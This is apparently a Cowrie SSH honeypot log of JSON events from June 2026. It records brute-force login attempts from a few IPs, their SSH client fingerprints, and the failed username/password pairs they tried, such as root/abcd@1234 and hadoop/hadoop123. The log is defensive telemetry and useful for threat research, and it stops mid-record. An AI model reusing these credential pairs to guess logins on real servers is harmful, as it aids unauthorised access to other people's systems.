{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:45.512337Z","src_ip":"45.156.87.147","session":"061f56bb9d53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:45.595625Z","src_ip":"45.156.87.147","session":"061f56bb9d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:45.879584Z","src_ip":"45.156.87.147","session":"061f56bb9d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:46.726598Z","src_ip":"91.92.42.227","session":"ba38071806fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:46.974325Z","src_ip":"45.156.87.147","session":"061f56bb9d53","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:47.162918Z","src_ip":"91.92.42.227","session":"eac19e1dda10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:47.166414Z","src_ip":"91.92.42.227","session":"eac19e1dda10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:50.057509Z","src_ip":"91.92.42.227","session":"ad10c7c4e4b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52756,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa0b71957ea6","protocol":"ssh","message":"New connection: 45.156.87.147:52756 (10.17.0.5:22) [session: aa0b71957ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:51.004318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:51.007703Z","src_ip":"45.156.87.147","session":"aa0b71957ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38944,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a21c64acdf1","protocol":"ssh","message":"New connection: 91.92.42.227:38944 (10.17.0.5:22) [session: 9a21c64acdf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:51.052932Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:51.095415Z","src_ip":"45.156.87.147","session":"aa0b71957ea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:51.342668Z","src_ip":"45.156.87.147","session":"aa0b71957ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:52.430633Z","src_ip":"45.156.87.147","session":"aa0b71957ea6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:54.303555Z","src_ip":"91.92.42.227","session":"9a21c64acdf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:54.322082Z","src_ip":"91.92.42.227","session":"9a21c64acdf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.1","message":"Connection lost after 17.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:54.391191Z","src_ip":"91.92.42.227","session":"ad10c7c4e4b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52772,"dst_ip":"10.17.0.5","dst_port":22,"session":"90181ca02fd4","protocol":"ssh","message":"New connection: 45.156.87.147:52772 (10.17.0.5:22) [session: 90181ca02fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:56.606292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:56.610348Z","src_ip":"45.156.87.147","session":"90181ca02fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:56.691226Z","src_ip":"45.156.87.147","session":"90181ca02fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:56.940362Z","src_ip":"45.156.87.147","session":"90181ca02fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40297,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaf39f6e4448","protocol":"ssh","message":"New connection: 168.167.228.74:40297 (159.203.135.109:22) [session: eaf39f6e4448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:57.331190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:57.338117Z","src_ip":"168.167.228.74","session":"eaf39f6e4448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:57.592988Z","src_ip":"168.167.228.74","session":"eaf39f6e4448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:57.629302Z","src_ip":"91.92.42.227","session":"eac19e1dda10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:58.025216Z","src_ip":"45.156.87.147","session":"90181ca02fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46876,"dst_ip":"10.17.0.5","dst_port":22,"session":"13519f86342c","protocol":"ssh","message":"New connection: 91.92.42.227:46876 (10.17.0.5:22) [session: 13519f86342c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:58.581820Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Dev@2022","message":"login attempt [dev/Dev@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:58.653918Z","src_ip":"168.167.228.74","session":"eaf39f6e4448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:59.916071Z","src_ip":"168.167.228.74","session":"eaf39f6e4448","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:00.739311Z","src_ip":"91.92.42.227","session":"13519f86342c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:00.743052Z","src_ip":"91.92.42.227","session":"13519f86342c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:00.911848Z","src_ip":"91.92.42.227","session":"eac19e1dda10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50378,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb39b2cac948","protocol":"ssh","message":"New connection: 45.156.87.147:50378 (10.17.0.5:22) [session: bb39b2cac948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:01.891620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:01.896039Z","src_ip":"45.156.87.147","session":"bb39b2cac948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:02.008185Z","src_ip":"45.156.87.147","session":"bb39b2cac948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:02.356696Z","src_ip":"45.156.87.147","session":"bb39b2cac948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:03.447664Z","src_ip":"45.156.87.147","session":"bb39b2cac948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty123","message":"login attempt [deploy/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:03.750921Z","src_ip":"91.92.42.227","session":"9a21c64acdf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43336,"dst_ip":"10.17.0.5","dst_port":22,"session":"a63ffc352fb1","protocol":"ssh","message":"New connection: 91.92.42.227:43336 (10.17.0.5:22) [session: a63ffc352fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:04.680948Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50394,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e1b8bdcafe","protocol":"ssh","message":"New connection: 45.156.87.147:50394 (10.17.0.5:22) [session: 83e1b8bdcafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:07.389814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:07.394278Z","src_ip":"45.156.87.147","session":"83e1b8bdcafe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-